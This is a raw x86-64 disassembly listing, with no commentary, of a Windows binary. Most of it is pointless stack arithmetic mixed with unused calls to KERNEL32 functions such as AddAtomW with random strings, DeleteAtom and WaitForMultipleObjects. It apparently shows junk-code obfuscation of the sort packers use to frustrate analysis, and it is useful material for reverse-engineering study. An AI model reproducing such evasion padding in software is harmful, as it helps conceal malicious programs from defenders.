mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ba0]
mov ecx, dword [0x14018c570]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd74]
and eax, ecx
mov word [rsp + 0x380], ax
movzx eax, word [rsp + 0xf14]
movzx ecx, word [0x14018ad98]
add eax, ecx
mov word [0x14018ae58], ax
mov rax, qword [rsp + 0x5b28]
mov rcx, qword [rsp + 0x49f0]
mov qword [rsp + 0x8a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a20]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5870]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ac8]
mov qword [rsp + 0x8a28], rax
movsx eax, word [rsp + 0xe98]
mov rcx, qword [0x14018be00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7e90]
mov word [rcx], ax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff4], ax
movzx eax, word [rsp + 0xe30]
movzx ecx, word [rsp + 0x5d4]
and eax, ecx
mov rcx, qword [rsp + 0x8270]
mov word [rcx], ax
lea rax, [rsp + 0x225c]
mov qword [rsp + 0x8a30], rax
mov rax, qword [rsp + 0x4f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ed8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x86d8]
mov byte [rcx], al
mov r9d, 0x50
xor r8d, r8d
lea rdx, [rsp + 0x7ad8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2288], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x3930]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f0], rax
mov rax, qword [rsp + 0x5a58]
mov rcx, qword [rsp + 0x6048]
mov qword [rsp + 0x8a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8a38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8608], rax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14018c688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf60]
sar eax, cl
mov rcx, qword [0x14018c010]
mov word [rcx], ax
mov rax, qword [rsp + 0x6270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6250]
mov word [rcx], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x8a40], rax
mov rax, qword [rsp + 0x4f68]
mov rcx, qword [rsp + 0x7a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6788]
mov dword [rcx], eax
lea rax, [rsp + 0x2dc8]
mov qword [rsp + 0x8a48], rax
mov rax, qword [rsp + 0x4dd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f38]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8498]
mov byte [rcx], al
mov rax, qword [rsp + 0x8550]
mov rcx, qword [rsp + 0x6910]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6d68]
mov qword [rcx], rax
mov r9d, 0x14c9
xor r8d, r8d
lea rdx, [rsp + 0x4738]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x22e8], eax
movzx ecx, word [rsp + 0xfdc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0x20b0]
mov qword [rsp + 0x8a50], rax
mov rax, qword [rsp + 0x3fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x52b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6570]
mov word [rcx], ax
movzx eax, word [rsp + 0xb94]
mov rcx, qword [rsp + 0x5800]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018c850], ax
lea rax, [rsp + 0x2ff8]
mov qword [rsp + 0x8a58], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x7108]
movzx eax, word [rax]
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x6fd0]
mov rcx, qword [rsp + 0x5a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x36c8], rax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b]
and eax, ecx
mov byte [rsp + 0x222], al
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x8a60], rax
mov eax, dword [rsp + 0x2074]
movzx ecx, al
mov eax, dword [rsp + 0x2098]
shl eax, cl
mov rcx, qword [rsp + 0x6ef8]
mov dword [rcx], eax
lea rax, [rsp + 0xee4]
mov qword [rsp + 0x8a68], rax
mov rax, qword [rsp + 0x6480]
mov rax, qword [rax]
mov qword [0x14018c9b8], rax
movzx eax, byte [rsp + 0x8e]
movzx ecx, byte [rsp + 0x166]
xor eax, ecx
mov rcx, qword [rsp + 0x8178]
mov byte [rcx], al
mov rax, qword [rsp + 0x7438]
mov ecx, dword [rsp + 0x2234]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5930]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfbc]
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x5f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x844], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x211c], eax
mov rax, qword [0x14018c0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8140]
shr rax, cl
mov qword [rsp + 0x2ed0], rax
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [rsp + 0x216]
sub eax, ecx
mov rcx, qword [rsp + 0x6878]
mov byte [rcx], al
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x6bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f30], eax
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0x7420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec4]
and eax, ecx
mov rcx, qword [0x14018c078]
mov word [rcx], ax
mov rax, qword [0x14018c0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ee0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6480]
mov rax, qword [rax]
mov qword [rsp + 0x8a78], rax
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5668]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5538]
mov qword [rcx], rax
lea rax, [rsp + 0xe2c]
mov qword [rsp + 0x8a80], rax
mov rax, qword [rsp + 0x4050]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d9]
sar eax, cl
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8a30]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4608]
mov dword [rcx], eax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x8a88], rax
mov rax, qword [rsp + 0x8628]
mov ecx, dword [rsp + 0x20e0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x208c], eax
lea rax, [rsp + 0x1e7]
mov qword [rsp + 0x8a90], rax
mov rax, qword [rsp + 0x75a8]
movzx eax, word [rax]
mov word [0x14018c9c0], ax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [0x14018bff8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x74c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x45a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a98]
mov word [rcx], ax
lea rax, [rsp + 0x5050]
mov qword [rsp + 0x8a98], rax
mov rax, qword [0x14018c2f0]
mov rcx, qword [rsp + 0x4e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8208]
mov dword [rcx], eax
lea rcx, str.Gca_Z8C
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1000], ax
lea rax, [rsp + 0x20f]
mov qword [rsp + 0x8aa0], rax
mov rax, qword [rsp + 0x3188]
movzx ecx, al
mov rax, qword [rsp + 0x4f18]
shr rax, cl
mov rcx, qword [rsp + 0x7ed8]
mov qword [rcx], rax
mov rax, qword [0x14018c8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8680]
mov word [rcx], ax
mov rax, qword [rsp + 0x8768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
add eax, ecx
mov word [rsp + 0x634], ax
mov rax, qword [rsp + 0x8220]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c580]
mov qword [rcx], rax
movzx eax, word [rsp + 0x874]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8250]
mov word [rcx], ax
mov rax, qword [rsp + 0x61e8]
mov rax, qword [rax]
mov qword [rsp + 0x8aa8], rax
mov rax, qword [rsp + 0x6668]
mov rcx, qword [rsp + 0x8160]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x83d8], rax
mov rax, qword [rsp + 0x5130]
movsx eax, byte [rax]
mov rcx, qword [0x14018c020]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4458]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f1]
imul eax, ecx
mov rcx, qword [rsp + 0x8958]
mov byte [rcx], al
mov rax, qword [rsp + 0x7438]
mov eax, dword [rax]
mov dword [rsp + 0x22ec], eax
mov rax, qword [rsp + 0x8360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20a8]
shl eax, cl
mov rcx, qword [rsp + 0x5768]
mov dword [rcx], eax
lea rax, [rsp + 0xf6c]
mov qword [0x14018c9c8], rax
mov rax, qword [rsp + 0x3f40]
movzx eax, word [rax]
mov word [rsp + 0x1004], ax
movzx eax, word [rsp + 0x8b4]
movzx ecx, word [rsp + 0x48c]
xor eax, ecx
mov word [rsp + 0xdf4], ax
movzx eax, word [0x14018adb8]
movzx ecx, word [rsp + 0xe0c]
or eax, ecx
mov word [rsp + 0x7e0], ax
lea rax, [rsp + 0x38d0]
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x7640]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [rsp + 0x3fc8]
mov byte [rcx], al
lea rax, [0x14018ad48]
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x4538]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7108]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7f4], ax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfc0]
sub eax, ecx
mov word [rsp + 0x3a0], ax
mov rax, qword [rsp + 0x7fa8]
movzx ecx, al
mov rax, qword [rsp + 0x4350]
sar rax, cl
mov qword [0x14018acf0], rax
lea rax, [rsp + 0x45c0]
mov qword [rsp + 0x8ac0], rax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x4a68]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8118]
mov rcx, qword [rsp + 0x52d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3958], rax
movzx eax, word [rsp + 0x764]
mov rcx, qword [rsp + 0x6170]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6670]
mov word [rcx], ax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x8470]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e3], al
mov eax, dword [rsp + 0x1ed4]
mov dword [rsp + 0x22f0], eax
mov rax, qword [rsp + 0x6b88]
mov rcx, qword [rsp + 0x81a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ca8]
mov rcx, qword [rsp + 0x2b88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x4758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c7]
or eax, ecx
mov byte [0x14018bdcc], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movsx eax, word [0x14018ae50]
mov rcx, qword [rsp + 0x87f0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7940]
mov word [rcx], ax
movsx eax, word [rsp + 0x658]
mov rcx, qword [rsp + 0x5320]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8a80]
mov word [rcx], ax
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x4f50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7af8]
sar rax, cl
mov rcx, qword [rsp + 0x4178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59c8]
movzx eax, byte [rax]
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x3918]
mov rcx, qword [rsp + 0x6168]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x8ad0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x226c], eax
mov rax, qword [rsp + 0x6d20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c30]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
lea rax, [rsp + 0xc54]
mov qword [0x14018c9d0], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x6390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7280]
mov qword [rcx], rax
lea rax, [rsp + 0xf7c]
mov qword [rsp + 0x8ad8], rax
mov rax, qword [rsp + 0x4308]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x177]
and eax, ecx
mov rcx, qword [rsp + 0x86f0]
mov byte [rcx], al
lea rax, [rsp + 0x20f4]
mov qword [rsp + 0x8ae0], rax
mov rax, qword [rsp + 0x5900]
mov eax, dword [rax]
mov rcx, qword [0x14018c550]
mov qword [rsp + 0x8ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ae8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x47b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x66c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d18]
mov qword [rcx], rax
mov rax, qword [0x14018bf10]
movzx eax, byte [rax]
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x81e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x974]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x62b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7f60]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018add4], ax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0x8af0], rax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x4130]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5288]
mov qword [rcx], rax
movsx eax, word [rsp + 0x380]
movsx ecx, word [rsp + 0xfbc]
xor eax, ecx
mov word [rsp + 0xf90], ax
lea rax, [rsp + 0x9d8]
mov qword [rsp + 0x8af8], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe28], ax
mov rax, qword [rsp + 0x43d8]
mov rcx, qword [rsp + 0x4fc8]
mov qword [rsp + 0x8b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x46e8], rax
lea rax, [rsp + 0x1b5]
mov qword [rsp + 0x8b08], rax
mov eax, dword [rsp + 0x1d2c]
movzx ecx, al
mov eax, dword [rsp + 0x1bac]
shr eax, cl
mov rcx, qword [rsp + 0x62f8]
mov dword [rcx], eax
lea rax, [rsp + 0x2fc0]
mov qword [rsp + 0x8b10], rax
mov rax, qword [rsp + 0x6c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe70]
sub eax, ecx
mov rcx, qword [0x14018c1f0]
mov word [rcx], ax
movzx eax, word [0x14018c2c0]
movzx ecx, word [rsp + 0xd94]
add eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x50d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4c40]
mov dword [rcx], eax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0x8b18], rax
mov rax, qword [rsp + 0x70f8]
mov rax, qword [rax]
mov rcx, qword [0x14018c9b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8338]
mov qword [rcx], rax
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x7660]
movzx ecx, al
mov rax, qword [rsp + 0x3640]
shr rax, cl
mov rcx, qword [rsp + 0x4450]
mov qword [rcx], rax
mov rax, qword [0x14018c2f0]
mov ecx, dword [rsp + 0x1d98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7108]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
and eax, ecx
mov word [rsp + 0x690], ax
lea rax, [rsp + 0xc60]
mov qword [0x14018c9d8], rax
mov rax, qword [0x14018c7d8]
mov rcx, qword [rsp + 0x72b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6ee0]
mov qword [rcx], rax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x8b28], rax
movsx eax, word [rsp + 0xf88]
movsx ecx, word [rsp + 0xda0]
shl eax, cl
mov rcx, qword [rsp + 0x5ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b60]
mov rcx, qword [rsp + 0x5ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5c20]
mov qword [rcx], rax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x8b30], rax
mov eax, dword [0x14018c968]
mov ecx, dword [rsp + 0x2240]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x210c], eax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x8b38], rax
mov rax, qword [rsp + 0x5f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcb8]
sar eax, cl
mov rcx, qword [rsp + 0x72b0]
mov word [rcx], ax
lea rax, [rsp + 0x7648]
mov qword [0x14018c9e0], rax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1ed4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x228], al
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x5fc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x690], ax
movzx eax, word [0x14018bdc8]
movzx ecx, word [rsp + 0x4fc]
add eax, ecx
mov word [rsp + 0x9e8], ax
mov rax, qword [rsp + 0x7278]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x1e6], al
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x6500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2238]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x71f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6938]
mov word [rcx], ax
mov rax, qword [rsp + 0x7730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc94]
sar eax, cl
mov rcx, qword [0x14018c990]
mov word [rcx], ax
lea rcx, [rsp + 0x15908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x8018]
mov qword [rsp + 0x8b48], rax
mov rax, qword [rsp + 0x63f0]
mov rcx, qword [rsp + 0x7e08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x48f0]
mov qword [rcx], rax
mov rax, qword [0x14018adf0]
mov qword [rsp + 0x8b50], rax
movsx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x3f00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3640]
movzx ecx, al
mov rax, qword [rsp + 0x68e8]
shl rax, cl
mov rcx, qword [rsp + 0x7b98]
mov qword [rcx], rax
mov eax, dword [0x14018ad34]
mov dword [rsp + 0x22f4], eax
mov rax, qword [rsp + 0x5c10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x207]
xor eax, ecx
mov byte [rsp + 0x1f4], al
mov eax, dword [rsp + 0x216c]
mov ecx, dword [rsp + 0x1e98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d1c], eax
lea rcx, str.YFMrurM4_NrpCc_N98NwnWi
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xd78], ax
movzx eax, byte [rsp + 0x1d2]
mov rcx, qword [rsp + 0x8b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0xf5c]
mov qword [0x14018c9e8], rax
mov rax, qword [rsp + 0x8400]
movzx eax, word [rax]
movzx ecx, word [0x14018c2d8]
sar eax, cl
mov word [rsp + 0xdc8], ax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x8b58], rax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x2b60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7920]
mov qword [rcx], rax
lea rax, [rsp + 0x2e78]
mov qword [rsp + 0x8b60], rax
mov rax, qword [0x14018c650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f5]
and eax, ecx
mov byte [rsp + 0x1ef], al
mov eax, dword [rsp + 0x22a0]
mov dword [rsp + 0x22f8], eax
movsx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x8878]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb58], ax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x7c78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x63a0]
mov rcx, qword [rsp + 0x5590]
and rcx, rax
mov rax, rcx
mov qword [0x14018c218], rax
lea rax, [rsp + 0xf70]
mov qword [rsp + 0x8b68], rax
mov rax, qword [rsp + 0x6af0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x59a8]
sar rax, cl
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
lea rax, [rsp + 0x5828]
mov qword [rsp + 0x8b70], rax
mov eax, dword [rsp + 0x2084]
mov rcx, qword [rsp + 0x5970]
mov qword [rsp + 0x8b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5158]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67f8]
mov qword [rcx], rax
lea rax, [rsp + 0x2154]
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1c3], al
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1d6]
mov qword [rsp + 0x8b88], rax
movzx eax, word [rsp + 0xc90]
mov word [0x14018c9f0], ax
movsx eax, word [rsp + 0xed4]
movsx ecx, word [rsp + 0x9a8]
sub eax, ecx
mov word [rsp + 0x580], ax
movzx eax, word [rsp + 0xdf4]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7750]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf8]
and eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0x5c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4310]
mov qword [rsp + 0x8b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8b90]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x50c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d98]
mov dword [rsp + 0x22fc], eax
mov rax, qword [rsp + 0x7848]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
sub eax, ecx
mov byte [rsp + 0x74], al
movsx eax, word [0x14018c508]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5c18]
mov word [rcx], ax
lea rax, [rsp + 0x68c]
mov qword [rsp + 0x8b98], rax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x6290]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14018acf0], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x2b18]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x61e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5020]
mov rcx, qword [rsp + 0x8840]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x30e8], rax
movzx ecx, word [rsp + 0xedc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
mov rax, qword [0x14018c4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46c8]
mov qword [rsp + 0x8ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ba0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5da0], rax
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x8ba8], rax
mov rax, qword [rsp + 0x5500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x70b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x5ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2028], eax
lea rax, [rsp + 0x225c]
mov qword [rsp + 0x8bb0], rax
mov rax, qword [rsp + 0x2ef0]
movzx ecx, al
mov rax, qword [rsp + 0x32f0]
shl rax, cl
mov qword [rsp + 0x8520], rax
lea rax, [0x14018acd9]
mov qword [0x14018c9f8], rax
mov rax, qword [rsp + 0x7448]
movzx eax, word [rax]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x4148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3f8], ax
movzx eax, word [rsp + 0x3a0]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f00]
mov word [rcx], ax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ef8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x77e8], rax
